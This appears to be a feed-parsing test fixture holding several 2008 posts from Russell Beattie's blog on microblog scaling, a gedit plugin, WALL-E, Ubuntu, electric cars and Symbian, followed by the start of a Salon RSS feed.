src="http://www.russellbeattie.com/blog/media/twitter-whale.png" alt="[image]" /></p> <p>I was just about to embark on a post yesterday about my latest obsession which is web-based forums (actually, it's a return of an old obsession) when <a href="http://identi.ca">identi.ca</a> launched with their open source PHP-based Twitter clone, so I just had to try it out. I threw it up on foozik.com if you want to see. It took me a while to get the dependencies working, but it seems pretty cool.</p> <p>It's a great effort, looks good, and promoted in all the right ways. Evan (the guy behind identi.ca and the <a href="http://laconi.ca">laconi.ca</a> code base) did a great job creating a nice little project with some cool features like OpenID, Jabber support and the beginnings of a federation system.</p> <p>Looking at the code, however, it's doomed.</p> <p>The core architecture just isn't made to scale, and a day after it launched identi.ca already seems to be paying the price, even after adding a bunch more servers. Here's the the problem in a few lines of code:</p> <pre> <code> $notice = DB_DataObject::factory('notice'); # XXX: chokety and bad $notice-&gt;whereAdd('EXISTS (SELECT subscribed from subscription where subscriber = '.$profile-&gt;id.' and subscribed = notice.profile_id)', 'OR'); $notice-&gt;whereAdd('profile_id = ' . $profile-&gt;id, 'OR'); $notice-&gt;orderBy('created DESC'); </code> </pre> <p>Even the comments express this is "chokety and bad". Ignoring the use of the PEAR::DB data object stuff (that's adding abstractions on top of your database that you can't afford to have) this code shows that the design of the system is fundamentally flawed. The core problem is the query itself - it's expensive as hell: "Get all the notices (messages) where I am subscribed to the publisher." Oh, man. As the database grows, the indexes will have to get huge, and as there's more subscribers and more subscriptions between subscribers, it's going to be impossible for that query to keep up.</p> <p>The lesson from Twitter is that microblogs aren't Content Management Systems at all, but are instead Messaging systems, and have to be architected as such. SMTP or EDI are our models here, not publishing or blogs.</p> <p>Here's how a microblog system has to work to scale: All the messages created by users have to go into a Queue when they're created, and an external process then has to go through one by one and figure out which messages go into which subscriber's message list. As the system grows and more messages are created, the messages may arrive in your "inbox" slower, but they will still arrive. This type of system can be easily broken up into dedicated servers and multiple processes can handle different parts of the read/write process, and the individual user message lists can be more easily cached - as once a page is created that contains messages, it doesn't change.</p> <p>If you don't set it up like this? Well, you're seeing what happens at Twitter and identi.ca now. As the number of users scale up, and the number of messages increase, the load quickly overwhelms any relational database until it'll become impossible to keep up. Structuring microblog systems essentially like self-contained web-mail is the key. Just think about it - Hotmail survived and scaled after it launched in the 1990s when 512MB of RAM was considered a lot and 10GB hard drives were "big". It's not about *power* or throwing more/bigger hardware at the problem, it's about architecture.</p> <p>Another example: Lots of web forums out there get millions of new posts a day by tons of users (GaiaOnline.com had 5MM posts last week, for example), but they scale just fine because the format of forums have been designed to scale. These sites work because they simplify queries, facilitate caching, and not guaranteeing instant updates. Simplification and caching are to me the fundamental aspects of web scaling. This is the way it's been for a decade now... Want to survive a Slashdotting, for example? Get your DB out of there and export your pages as .html static files. These same principles can be applied even to a microblog/messaging system as well.</p> <p>Once this is widely accepted (and I'm sure there are many that would argue with me), the thing that will separate these types of services won't be whether they stay up (ala Twitter), but how fast your subscription messages are updated. Some services might be smaller or offer more features but not update as quickly whereas others will pride themselves on being as close to real-time as possible. The key is that it's all about messaging, not publishing. (Oh, and this also facilitates federation as well, but that's another topic).</p> <p>This said, all is not lost for the Laconi.ca code. The good thing is that it's open source, and not only that, but using the GNU Affero license, which means any changes made on anyone's server needs to be released back as well. Hopefully now that there's a code base to start from, some others (like myself) who are too lazy to start from scratch can get in there and start tweaking and shaping the code into something that will fundamentally scale better.</p> <p>I envision lots of microblog services out there, actually. Even though services do have a network effect going for them (the reason Twitter has survived for so long), the idea of smaller microblog services is very appealing. One comment on Identi.ca yesterday spelled out it's usefulness perfectly - a person wanted a version she could use in her classroom as a way for students to ask questions. Very cool - yes you could use a live chat room or a simple forum or e-group, but bringing the subscription model into it would add a very interesting dynamic that I think better reflects how people really interact. That's just one example, but I think there's even more out there.</p> <p>Just my thoughts for now. I'm going to write more about web forums in a bit.</p> <p>-Russ</p> <p><a href="http://feeds.russellbeattie.com/~a/RussellBeattieWeblog?a=56XT41"><img src="http://feeds.russellbeattie.com/~a/RussellBeattieWeblog?i=56XT41" border="0"></img></a></p> <![CDATA[My first gedit plugin]]> Russell Beattie russ@russellbeattie.com http://www.russellbeattie.com/blog/my-first-gedit-plugin 2008-06-30T11:24:57-07:00 <p><img src="http://www.russellbeattie.com/blog/media/gedit.png" alt="[image]" /></p> <p>I was looking at the various <a href="http://live.gnome.org/Gedit/Plugins">gedit plugins</a> yesterday, and decided I wanted to write my own. I actually really like gedit as a text editor - it's lightweight and with the plugins provides nearly as much functionality as UltraEdit or Textmate. It's actually amusing that the default text editor in Gnome is as powerful as it is - coming from Windows, you're used to Notepad being a piece of junk and having to find other apps to do any real work. This can be a bit of an issue, as if I've turned on line numbers and highlighting, and then open up a random text file for a README or something, the use cases sort of overlap (not that it bothers me that much).</p> <p>Anyways, I decided to create a *really simple* plugin for inserting a timestamp - I use text documents to record ideas and todos, and I always put in a timestamp before I start writing. There's already a plugin that's included called "Insert Date" but by default it pops up a dialog to ask you for a format each time. It wasn't until *AFTER* I wrote a simple plugin to do the same thing that I noticed that you can just go into "configure plugin" and choose the default format. I'm glad I didn't notice though, since that allowed me to learn how plugins work and create a sort of "canonical" plugin that I can expand on later.</p> <p>If you follow the <a href="http://live.gnome.org/Gedit/PythonPluginHowTo">gedit plugin how-to instructions</a>, you can see that the document writers broke the cardinal rule of beginning how-tos by including crap you don't need at first. By looking at some other plugins and stripping away the excess, I got down to a super-simple plugin that simply adds a menu, then does something to the document (in this case adding a timestamp). SIMPLE!</p> <p>I'll just link to the two files needed to run the plugin: <a href="http://www.russellbeattie.com/download/inserttimestamp.gedit-plugin">inserttimestamp.gedit-plugin</a> and <a href="http://www.russellbeattie.com/download/inserttimestamp.py">inserttimestamp.py</a> . (If you want to try them, just put them in ~/.gnome2/gedit/plugins). You can see that it's cut down to just about the bare-minimum. I wish I understood a bit more about the menu stuff - you have to use the GTK API for that, and it uses some default params that I don't understand exactly for where to place the menu. But the code itself doesn't have much more than it needs to work. This is actually useful to me as a reference so that in the future if I find myself needing some sort of automation - it'll be easy to use that as a template to whip up something more complex quickly.</p> <p>Actually at first what I wanted to write a plugin that would put the word-wrap option in menu, instead of in the preferences like they are now. Sadly it looks like the Python wrapper to access that API isn't available (or at least I couldn't find it). If you know more than me, please educate me: Here's the <a href="http://september.jicksta.com/gedit-2.15.3-docs/reference/html/ch01.html">C API for gedit</a>, and you can see there's a "gedit-prefs-manager" module (I think that's what it's called, it's not a Class), but there is no equivalent if you do a "dir(gedit)" from gedit Python console - the 'utils' is there, and the encoding stuff, but not the pref-manager. Maybe I'm missing how to get to that stuff, but I haven't found it yet after some searching.</p> <p>Speaking of the Python console, it's pretty interesting if you haven't played with it yet. Turn it on in the Plugins preferences, and then display the bottom pane in the View menu and it's there, and by default it's imported the gedit module and "window" has already been populated with the current window. I've done app automation stuff before using Visual Basic and COM, but having the console actually in the app I'm controlling is quite cool. (And it's Python, not Lua like what Scite uses, which is nice in many ways.)</p> <p>Try this, open the console, and do the following...</p> <pre> <code> You can access the main window through 'window' : &lt;gedit.Window object at 0xb65fe694 (GeditWindow at 0x8141000)&gt; &gt;&gt;&gt; doc = window.get_active_document() &gt;&gt;&gt; doc.insert_at_cursor("hello world") &gt;&gt;&gt; view = window.get_active_view() &gt;&gt;&gt; view.select_all() &gt;&gt;&gt; view.copy_clipboard() &gt;&gt;&gt; view.paste_clipboard() &gt;&gt;&gt; view.paste_clipboard() </code> </pre> <p>You get the idea, it's basic document automation - but it's nicely done. Do a dir() on App, Window or Document to get an idea on the various things you can do with the API - it seems pretty clear. Though honestly, I wish there was more documentation than just the C API I've found, it's pretty easy to put the pieces together.</p> <p>:-)</p> <p>-Russ</p> <p><a href="http://feeds.russellbeattie.com/~a/RussellBeattieWeblog?a=pYgYHh"><img src="http://feeds.russellbeattie.com/~a/RussellBeattieWeblog?i=pYgYHh" border="0"></img></a></p> <![CDATA[Adult thoughts while watching WALL-E]]> Russell Beattie russ@russellbeattie.com http://www.russellbeattie.com/blog/adult-thoughts-while-watching-wall-e 2008-06-28T13:43:21-07:00 <p><img src="http://www.russellbeattie.com/blog/media/wall-e-poster1-big.jpg" alt="[image]" /></p> <p>The munchkin and I went to go see the matinee of WALL-E yesterday and it was pretty great! Definitely recommended for the whole family. If you haven't seen it, though, you probably don't want to read the rest of this post as I don't want to give any spoilers or take away from the innocent wonder of seeing the movie for the first time.</p> <p>...</p> <p>We good? Okay. The problem is that even though most of the Pixar movies have some sort of cognitive dissonance or generally creepy subtext if you think about them too much (The toys are *watching* us? Where the hell did the people go in Cars? Did they take over?) I think that WALL-E is particularly full of, um, "issues".</p> <p>First I should say the movie was great - it's a love story at the core and it works really well. EVE seemed to have the personality of a strong, serious woman with a mission (more on this in a bit) and WALL-E may be a love sick moron, he's not generally a fool and is quite a bit mischievous as well.</p> <p>The lack of dialog was only apparent at one point when I realized an entire theater full of people was dead silent watching the movie and it wasn't during some sort of emotional scene - they were just all intent on watching what was happening. It was akin to seeing a live play, when you step out of the moment for a minute to realize there's a ton of people there, in the dark, silently watching.</p> <p>Anyways, after seeing the movie and replaying it my head a bit (especially since my son and I were playing the video game afterwards), lots of things occurred to me about the movie that just didn't fit quite right. Here's some thoughts on the movie from an adult point of view, in no specific order.</p> <p>* When WALL-E is going about his work and he starts to break down a bit (his tread is wearing out) it's quite disturbing how casually he grave-robs a fellow WALL-E unit who has since stopped working for spare parts. It sort of makes you wonder *how* exactly little ol' WALL-E became the last surviving bot in the first place... As resources started to dry up, what sort of ruthless deeds did WALL-E do to keep functioning?</p> <p>* The choice of Hello Dolly music is insanely odd, but will definitely trigger nostalgia for my parents. I saw it quite a few times when I was a kid, but I haven't seen the whole thing in easily 20 years. I wonder if there's someone in Pixar who actually just loves this movie, or if it was some sort of attempt to create a multi-generational family movie for all? Given the history of Disney, I'll assume the latter.</p> <p>* In fact, a movie from the Disney Corporation expounding on the evils of consumerism? My mind just can't absorb the self-referential hypocrisy there.</p> <p>* I don't get the double entendre meant by Buy N Large. There's the phrase "by and large" which means "in general" (more on the <a href="http://www.worldwidewords.org/qa/qa-bya1.htm">history of the phrase here</a>), and I guess if you "keep buying, you will enlarge", but beyond that I don't see the link really. Maybe "buy in large quantities" a la Cosco or something? I just don't see how the joke works because the original meaning doesn't have anything to do with the second in some ironic way...</p> <p>* I'm not Fred Willard's biggest fan - I think they should have just kept that stuff with him animated, but I guess it goes along with Hello Dolly in linking the past Earth with the dystopian future... Still, I think he's a jackass and not particularly funny.</p> <p>* Okay, guys at Pixar, we get it. Steve jobs founded your company and Apple and so you like Apple products. We noticed the iPod, and the various Mac sound effects and even how the bad guy of the movie is the voice of MacInTalk. Hahaha. You guys are hip. However, when EVE reboots with the fucking Mac chime it pulled me out of the moment in a bad, cranky way, so could you please cut the shit from now on?</p> <p>* Oh, yeah... and CALARTS FUCKIN' RULEZ DOOODZ! TOTALLY! A113! ROCK ON! YAH! A113! SO COOL!</p> <p>About the plot... There's lots of little things which are odd. For example, at one point in the movie, WALL-E pushes EVE out of his little house to the roof when she shuts down waiting for the mother ship to pick her up... but then he does crazy stuff like standing there in a lightning storm with an umbrella over him to protect her. Why didn't he just push her back inside? But that's sort of nit picky stuff. The things that really bug me is what happens when they get on spaceship Axiom. There the whole premise of the movie starts to take a left turn from reality. All the future peoples are floating around like blobs, unable to walk, doing nothing but shopping, consuming everything in cups. There are LOTS AND LOTS of questions here:</p> <p>* In a closed system like the one on the Axiom, how the hell is there *any* economy at all in which to consume to excess? All the robots do everything, there's no need to work, there didn't appear to be any rich or poor folk, and even the captain was a benevolent dictator of sorts who seemed to have the unquestioned loyalty of his people. What's there to consume and who cares if you do it anyways, as there's plenty to go around?</p> <p>* The captain is suprised to see a *plant*... What the hell have they been eating all this time? What's in those 7-Eleven Big Gulp cups anyways, Soylent Green?!?</p> <p>* At one point in the movie a woman and a man touch hands briefly and are genuinely surprised at the physical interaction. Umm... Obviously the must be reproducing completely artificially, which means there's a whole class of robots that we didn't have the, um, pleasure of actually seeing.</p> <p>* Continuing that thought... I noticed babies and toddlers, and full grown blob-like adults, but no kids and no older people. How does that work exactly? Is it like that movie where they kill everyone older than 30? Where are the 11 year olds?</p> <p>* The movie's anti-consumerism message is simply "buy too much and you become blobs". It's a bit weird. My kid didn't learn anything from the message as there didn't seem to be any downside to it beyond not really walking much. In fact, to those of us in the theater, who just paid $10 a ticket and another $20 per person for over-sized sodas and popcorn, sitting in our big easy chairs, stuffing our faces and sucking on straws, watching a movie in the middle of a gorgeous summer afternoon? It didn't seem particularly far from normal. Or is that the joke and it's on us? What? We're supposed to be out gardening and tending to the forests instead? Pixar can blow me.</p> <p>* I do love how Hollywood (and Pixar is included there) just can't seem to keep from collapsing strong role models into gender specific stereotypes in order to create tension in the plot. Near the end of the movie, WALL-E has been damaged and is essentially dying, when he seemingly selflessly gives the plant to EVE so that she can continue her Directive and bring humanity back to Earth. Despite having struggled thus far to complete her life's work and do her duty, she tosses the plant aside carelessly signifying that all she cares about now is WALL-E. (See that little girls? The lesson here is to sacrifice all for your Man. Get it?) But WALL-E in his half-dead state insists, goes over and picks up the plant, and gives it back to EVE, which at first seems like an incredibly selfless sacrifice on his part, but soon you realize he's actually saying, "No you stupid bitch, Earth is where all my replacement parts are - we need to plant to get the ship there to fix me." Ahh... We see a little more of how WALL-E was the last remaining robot and how underneath that hard polished exterior and blasters, EVE is really just like all women are - subservient and unable to think clearly during a crisis. Thanks for clarifying that Pixar!</p> <p>* At the end of the movie, we see the all the people in the ship wander out into the desolate wasteland of Earth, ready to start again now that the world is, um, slightly less toxic than it was before. The robots (we see during the credits) are there to help, which is good, because I don't know about you, but I'd pretty much starve if I had to farm for myself. Hopefully the ship has some seeds on it to get started... and bees and other bugs to help pollinate the plants... and well, animals, birds, etc. Oh, and sticking a plant into some dry ground and drowning it in water isn't going to produce much in the way of actual food (despite what the captain may think, and also wasn't that plant just floating in sub-zero space?) Also no worries about those frequent dust storms...</p> <p>* And where the hell are the *other* ships out there? There's like a couple hundred people on the Axiom at best? They better start procreating like crazy if they want to repopulate the world. Well, that and figuring out how to re-evolve all that "bone-loss" they've genetically lost. Also, didn't they seem awfully happy to go from their lives of leisure and happy interaction with their friends (via their holographic view screens) to one of hard labor, disease and suffering. But that's just me.</p> <p>* One last thought is that they didn't actually get rid of Buy N Large at the end, the purported evil corporation which helped pollute the world by its promotion of excess consumerism. Presumably, it'll just take over where it left off soon enough, so really, the world is still doomed.</p> <p>Ok, I'll stop there. I'm sure more will pop up as I think about it. The movie was still quite entertaining though, you definitely want to go see it, as it's very fun.</p> <p>:-)</p> <p>-Russ</p> <p><a href="http://feeds.russellbeattie.com/~a/RussellBeattieWeblog?a=V4XvLG"><img src="http://feeds.russellbeattie.com/~a/RussellBeattieWeblog?i=V4XvLG" border="0"></img></a></p> <![CDATA[Ubuntu Rising]]> Russell Beattie russ@russellbeattie.com http://www.russellbeattie.com/blog/ubuntu-rising 2008-06-26T14:05:07-07:00 <p><img src="http://www.russellbeattie.com/blog/media/ubuntumid.jpg" alt="[image]" /></p> <p>Every day I'm amazed at how good Ubuntu is, and how fast it's been improving. I've been a full time Linux user since January of last year, and in 18 months, I've just been amazed at how *happy* I am using it and how I get *more* happy as time goes on. I'm thinking about this again as I just moved computers from a desktop to a Sony Vaio laptop, and Ubuntu's latest works incredibly well on it. Advanced GUI, sound, WiFi, power management (including suspend/resume) and more all work as you'd expect it to without *any* manual file configuration. And the install process took less than 20 minutes from start to finish. I couldn't be happier.</p> <p>There's still a few issues, but nothing so frustrating that I'm any less ecstatic with my setup. As a Linux user, I sort of expect them and compared to years past they're trivial. For example, the built-in sound speakers don't shut off when you plug in external speakers or headphones right now. Not great but I'm sure I'll find out what the issue is with some searching. Also, the external monitor port doesn't recognize the correct resolution out of the box - I've seen online that I'll have to manually tweak the xorg.conf file, but I haven't done it yet either. Other than that, I haven't had a single issue, and I know that these issues could "fix themselves" as well, as Ubuntu continues to develop and my weekly updates bring fixes and upgrades.</p> <p>Honestly, the setup was so fast and easy, I would have spent *much* more time cleaning all the crapware off the pre-installed Vista setup, as well as searching for anti-virus stuff, etc. It's such an incredible stroke of luck that Windows Vista is so bad and that its launch coincided perfectly with Ubuntu becoming a truly viable alternative to Windows or OSX.</p> <p>What really excites me is the latest trend towards Linux based small computers like the Asus EEE PC, or all those Mobile Internet Devices that are coming down the pipe. Ubuntu recently released a <a href="http://www.ubuntu.com/products/mobile">MID version</a> and it looks fantastic. Not only is Ubuntu a fantastic OS, with great software available for it (including Wine 1.0, which also runs a bunch of Windows apps without problems), but when manufacturers start incorporating Ubuntu in the development process, there won't be *any* hardware issues - even the little ones that I have now.</p> <p>This is just so exciting. I just really like Unix as a computing platform - it's just so much better organized and functional than Windows. The daily pain of using Windows just doesn't exist... questions like "why isn't this connecting" or "why is this running so slowly" are quickly answered and more easily fixed. And with Ubuntu's Debian roots, it means that it's easily updated as well (and doesn't cost $120 every year or so to upgrade like OSX). Much of the technology, actually, has been out there for years and Ubuntu has simply done a fantastic job of organizing it all into a thoroughly enjoyable system to use.</p> <p>Again, the MID stuff is what gets me really jazzed. Using the Nokia 770 and N800 has really shown me how useful a dedicated Internet device can be. Combining Web, Email and IM among other apps like eBook readers and casual games in a portable and usable package is incredibly compelling and useful. Adding in the power of Ubuntu (no offense to the Maemo folks, whom I love and respect) is just going to make those devices even that much more lustworthy.</p> <p>It's a great time to be a Ubuntu user!</p> <p>-Russ</p> <p><a href="http://feeds.russellbeattie.com/~a/RussellBeattieWeblog?a=Uarknz"><img src="http://feeds.russellbeattie.com/~a/RussellBeattieWeblog?i=Uarknz" border="0"></img></a></p> <![CDATA[Where are the electric cars?]]> Russell Beattie russ@russellbeattie.com http://www.russellbeattie.com/blog/where-are-the-electric-cars 2008-06-26T10:35:06-07:00 <p><img src="http://www.russellbeattie.com/blog/media/zenn_b.jpg" alt="[image]" /></p> <p>I know that GM killed their electric car in 2003, and just the thought of how insanely stupid and shortsighted they were makes me want to kill, but where are the rest of the electric cars? I heard a report on the radio yesterday about the progress on the Volt and the plug-in Prius next year, and about how cool it is to ride in a Tesla, but it seems crazy that we can't go down to a dealer right now and take a look at more options than that.</p> <p>Just recently I read about a store here in the Valley called <a href="http://www.greenrides.com/">Green Rides</a> that sold electric vehicles and thought about how cool that was. There's a car they sell called the <a href="http://www.greenrides.com/neighborhood_rides_zenn.html">Zenn</a> which looks incredibly cool... until you check out the stats. 25MPH max, and a 30 mile range. Are you kidding me? I don't understand why they're so limited - it's rated as if it was a golf cart because supposedly they have less safety stuff in them. You know, I can think of plenty of cars on the road that don't have a lot to them in terms of safety - or weight even - the Geo Metro back in the day got what, like 50 mpg? It was like a tin can on wheels, why can't they just take that design and throw some batteries in the back and get a decent electric car?</p> <p>I know it all goes back to battery power, but if GM was solving this stuff almost 10 years ago with the EV1, surely the technology must be a bit more standard nowadays, no? I hope now that gas prices are so insane (and honestly, I hope they stay there as economic incentive to produce more electric vehicles) that companies will get it together and start putting more resources into this stuff. I keep reading every day about this company or that developing this or that car... but until I can go down to the local dealer and test drive them myself, they're just not real.</p> <p>You can go online and check out <a href="http://www.evconvert.com/resources">some fascinating mods</a>. I love the idea of getting an old BMG, Beetle or Karmann Ghia and throwing a pile of batteries in the back and an electric motor in the front and getting a retro electric vehicle to use. But according to Wikipedia, <a href="http://en.wikipedia.org/wiki/Electric_vehicle_conversion#California_.28US.29_conversion_registration_and_taxation">California makes it hard</a> for those modded vehicles to get back on the road. Bleh.</p> <p>All this said, would I sell my somewhat gas-guzzling Saturn VUE (front wheel drive, stick, 23mpg) to get an electric version of a Geo Metro? Probably not this minute... but I'd love to have the option.</p> <p>:-)</p> <p>-Russ</p> <p><a href="http://feeds.russellbeattie.com/~a/RussellBeattieWeblog?a=L2oNnV"><img src="http://feeds.russellbeattie.com/~a/RussellBeattieWeblog?i=L2oNnV" border="0"></img></a></p> <![CDATA[Do Mobile OS Platforms Matter? ]]> Russell Beattie russ@russellbeattie.com http://www.russellbeattie.com/blog/do-mobile-os-platforms-matter 2008-06-24T15:18:43-07:00 <p><img src="http://www.russellbeattie.com/blog/media/mobileos.png" alt="[image]" /></p> <p>The big news today is that Nokia is spending nearly half a billion dollars for the rest of Symbian and will turn it into a non-profit organization and open OS. It's got everyone buzzing about how this is an attempt on Nokia's part to "take on" Android (because Vendor Wars always makes good copy), but I think that's a far too simplistic explanation.</p> <p>Backing up for a second, let's examine what the Symbian OS is, and who it targets. This really depends on who you are. Are you a manufacturer who needs to use the OS to make a device work with all the various pieces of hardware involved, or are you a "third party" who wants to create or use applications which run on the device?</p> <p>Symbian, the company, has always been much more focused on the former as the OEMs have been the ones paying the fees that kept the company going. The promise was simple - here's a platform which makes your most advanced phones work with little investment. Think about all the technologies in a modern mobile phone - from the various wireless standards like UMTS and Bluetooth, to GPS and even media processing capabilities for video and sound. A mobile OS has to make all that stuff work. It goes beyond just the development work, it also has to do with license fees, etc. If your mobile phone plays back MP3 files, someone had to have paid the Fraunhofer Institute their blood money, or else. For $7 a phone, OEMs could forget about that stuff and just worry about making a cool gadget.</p> <p>Even that price is expensive though, and manufacturers have always had options about how they get an OS for their phones. They could create some RTOS in house, they could license from any number of white-label OS providers, buy it as a complete hardware/software stack from someone like Qualcomm, or work with Microsoft or Symbian, etc. But now with today's announcement it means OEMs can get something for free that they used to have to pay for. Great! In theory, the Symbian OS is the most robust of the mobile phone OSes out there, and therefore now that it's free, manufacturers will start pumping out Symbian based devices like crazy. Game, set, match for the Symbian OS, right? The company may have essentially been a failure (it's dreams at one point were to take on Microsoft, remember), but the OS as a platform will live on and thrive, and those manufacturers who use that platform will benefit from the shared work, and larger user base as well.</p> <p>Because application developers tend to target the OS platform with the biggest marketshare, this means that today's announcement is a huge deal for mobile application developers and users, right? Wrong, and that's the point of this post. For everyone besides OEMs which can use the new freed Symbian OS to power their devices, to everyone else it doesn't mean very much.</p> <p>In my mind, there are different types of OS platforms, created for one of several reasons, broadly separated into monetization, control or shared workload. Monetization - as shown by Microsoft - is that if you control a platform that becomes popular, you can charge money for it indefinitely as it's the basis for many other people's work. Control is what Apple and Blackberry do, where they don't license the platform, but use it to ensure they control everything about what happens on their platform and devices. Shared workload is what the Linux folk are about, where even though they lose control and get no fees, they still derive benefits from not having to do everything themselves, and the platform improves and is used more broadly as well with less investment on their part.</p> <p>Symbian it seems has attempted to do all of this, first being an licensable platform attempting to be broadly used and monetize based on eventual dominance. Then Nokia wanted to have more control so they created the Series 60 GUI (and others) as a differentiator on top of Symbian, while UIQ was used by others. Then Nokia bought most of Symbian, and tried to license the GUI as well. Now essentially they're giving up on the two former options and are moving to the open model completely in an attempt to both share the work, and to increase adoption of the platform as a whole in face of competition from Microsoft, Apple and Google.</p> <p>Now, in the PC world, having a platform - whether it's an OS platform like Windows, or an application platform like Oracle or Excel - means that others can develop on and expand the functionality of that particular platform. The more third parties expand that functionality, the greater value the underlying platform has, and the more the owner of the platform can monetize it. Developers won't target a platform with a low user base, which is why broad adoption is so important - so for many platforms giving away the razor in an attempt to make money on the blades is still the general strategy. Pretty simple. And once the cycle of platform, developers and applications is set up, it's incredibly hard to break it.</p> <p>Except it won't work that way for Mobile OS platforms. Let me explain why:</p> <p><strong>No killer apps</strong> - Smartphones and other mobile platforms like Palm or Windows CE have been around for a decade now, and there's yet to be a killer app for them. A killer app is what makes a platform take off. No killer app? No dominant platform. What's the chances that there will suddenly be an application in today's heterogeneous and interconnected computing environment that *only* runs on one mobile platform and no others? Little to none, really.</p> <p><strong>No app variation</strong> - Oh, there might be thousands of mobile apps out there, but essentially they boil down to a few groups of applications - utility, communication, games, etc. which are pretty much the same regardless of platform. Go to Handango and see a bazillion versions of a calculator and get the idea. (As an aside, I predict when the iPhone AppStore launches in a couple weeks, there will be a lot of disappointment in terms of the quality and quantity of the apps offered).</p> <p><strong>No one buys apps anyways</strong> - Most users of mobile devices are quite happy to use the included apps that are installed from the outset. Most don't even know you can get more apps, and even then the data has shown there's a buying spree for about 2 weeks to a month after a user gets a new phone where they buy shit for it (apps, ringtones, wallpapers) and then they don't bother any more. All the mobile platforms are thus fighting against normal user patterns, and over a piece of the pie that is significantly smaller than the total number of mobile users.</p> <p><strong>No one cares about which OS</strong> - Ever notice that Qik, the video streaming startup that just raised a round recently - is powered exclusively by Symbian devices? Nope? Yeah, no one else does either. In fact, the only time you see it mentioned is when they're promising on a stack of bibles they'll have WinMo and iPhone versions out soon, really. The exception being Apple (as always), the rest of the world really aren't zealots about this stuff.</p> <p><strong>Anything a Native app can do, Java can do too</strong> - You could argue that Java is a platform in an of itself, and if so, maybe it has won and the rest of the platforms are simply variations of GUI and low-level plumbing. Mostly though, what it means is that applications are portable, and developers will port if there's a demand for it, or they'll develop using a technology that's made to run on multiple platforms from the outset.</p> <p><strong>The Wii lesson</strong> - The Nintendo Wii dominates the video game market with its family-friendly vibe and innovative controls, but the other consoles are also doing fine, thankyouverymuch. We've entered an era of multiple platforms and most people understand this. Companies in the video game market that want to sell to the broadest number of consumers target multiple consoles, and mobile developers will be no different.</p> <p>Even saying all this, I still think that Symbian has a long struggle ahead of it no matter what. Eventually the fact that Symbian is not Windows, Linux or OSX is going to start really affecting the productivity of the developers targeting that OS. OEMs will have to maintain more code which they're less familiar with, and application developers will have to learn and keep current with a niche OS which only matters to a portion of their user base. Symbian has had 10 years to gain some sort of traction, and has only done so by the consistent, and almost irrational, support of Nokia.</p> <p>It's a huge gamble by Nokia to continue supporting this OS, rather than moving wholesale to a different platform - both the $400MM they're putting down now, and the money they're going to spending in the future to maintain the OS. Just think of how far that $400MM would have sped them along had they chosen to move to something like Linux instead. That said, Nokia still has the dominance in the mobile phone industry to push it in a certain direction. I do think it really will be a matter of if and when other manufacturers embrace Symbian as to its future.</p> <p>-Russ</p> <p><a href="http://feeds.russellbeattie.com/~a/RussellBeattieWeblog?a=M3yTNP"><img src="http://feeds.russellbeattie.com/~a/RussellBeattieWeblog?i=M3yTNP" border="0"></img></a></p> <![CDATA[mOlympics Redux]]> Russell Beattie russ@russellbeattie.com http://www.russellbeattie.com/blog/molympics-redux 2008-06-23T11:18:32-07:00 <p>I just read <a href="http://www.readwriteweb.com/archives/the_olympics_go_mobile.php">this post on Read Write Web</a> about the various options for keeping up with Olympics while mobile. It reminded me of <a href="http://www.russellbeattie.com/notebook/1007964.html">my attempts four years ago</a> to create a mobile Olympics news aggregator. I registered mOlympics.com and then slapped together a quick and easy news reader linking out to stories for the olympics.</p> <p>It's amazing how different things are now... if I had kept that domain (I got rid of it in a purge a long while ago), it'd be so easy to recreate it and actually make money this year.</p> <ul> <li>There's a ton more mobile traffic to take advantage of</li> <li>There's ways to monetize - AdMob and Mobile AdSense</li> <li>There's ways to promote the site (same as a above)</li> <li>There's more news feeds of content to take advantage of</li> <li>There's more original mobile sites to link to, and advanced transcoders (Mowser)</li> <li>It'd be possible to link to mobile versions of video either via YouTube or using conversion sites</li> </ul> <p>All of this of course makes me cringe at how early I was (again). Timing is everything and being four years off the market is obviously not good (in either direction). The question in my mind is it a matter of choosing a new idea and sticking with it for years and years until the market catches up to you, or is it a matter of timing it just right? I guess the answer to that question depends on how much money you can afford to lose before you start making money.</p> <p>Speaking of making money, mOlympics.com now points to one of those SEO link-farm pages... I wonder how much cash that generates every month for its owner? Probably not a lot up until now, but it may pay for itself in the next couple months, I bet.</p> <p>-Russ</p> <p><a href="http://feeds.russellbeattie.com/~a/RussellBeattieWeblog?a=hmb7xZ"><img src="http://feeds.russellbeattie.com/~a/RussellBeattieWeblog?i=hmb7xZ" border="0"></img></a></p> Horde_Feed-2.0.4/test/Horde/Feed/fixtures/lexicon/http-www.salon.com-feed-RDF-salon_use.rdf0000664000175000017500000010662112653701626027506 0ustar janjan Salon http://www.salon.com/?source=rss&aim=/ Original, independent news coverage and investigative reporting, and insightful commentary on politics and culture -- every day from Salon. en-us Copyright 2008 Salon.com. Salon http://images.salon.com/src/rdf_salonlogo.gif http://www.salon.com/?source=rss&aim=/ Tue, 22 Jul 2008 03:30:00 PDT Bush to Olympians: Win (nicely) Bush to Olympians: Win (nicely) King Kaufman Tue, 22 Jul 2008 03:30:00 PDT http://www.salon.com/sports/daily/feature/2008/07/22/olympics/index.html?source=rss&aim=/sports/daily/feature http://www.salon.com/sports/daily/feature/2008/07/22/olympics/index.html http://letters.salon.com/sports/daily/feature/2008/07/22/olympics/view/?source=rss&aim=/sports/daily/featureThe president talks about cherished American values -- curiously, without mentioning advertising or kicking butt. <p><a href="http://feeds.salon.com/~a/salon/index?a=3EBHzw"><img src="http://feeds.salon.com/~a/salon/index?i=3EBHzw" border="0"></img></a></p><img src="http://feeds.salon.com/~r/salon/index/~4/342421041" height="1" width="1"/> A big November ahead for Senate Democrats A big November ahead for Senate Democrats Thomas F. Schaller Tue, 22 Jul 2008 04:52:00 PDT http://www.salon.com/news/feature/2008/07/22/senate_roundtable/index.html?source=rss&aim=/news/feature http://www.salon.com/news/feature/2008/07/22/senate_roundtable/index.html http://letters.salon.com/news/feature/2008/07/22/senate_roundtable/view/?source=rss&aim=/news/featureThree experts tell Salon that the party may expand its Senate majority by half a dozen seats, but they also think at least one Democratic incumbent is vulnerable. <p><a href="http://feeds.salon.com/~a/salon/index?a=jQnYg8"><img src="http://feeds.salon.com/~a/salon/index?i=jQnYg8" border="0"></img></a></p><img src="http://feeds.salon.com/~r/salon/index/~4/342063675" height="1" width="1"/> How to read the James Wood way How to read the James Wood way Louis Bayard Tue, 22 Jul 2008 03:40:00 PDT http://www.salon.com/books/review/2008/07/22/james_wood/index.html?source=rss&aim=/books/review http://www.salon.com/books/review/2008/07/22/james_wood/index.html http://letters.salon.com/books/review/2008/07/22/james_wood/view/?source=rss&aim=/books/reviewThe fiercely talented critic takes us on an illuminating tour of fiction 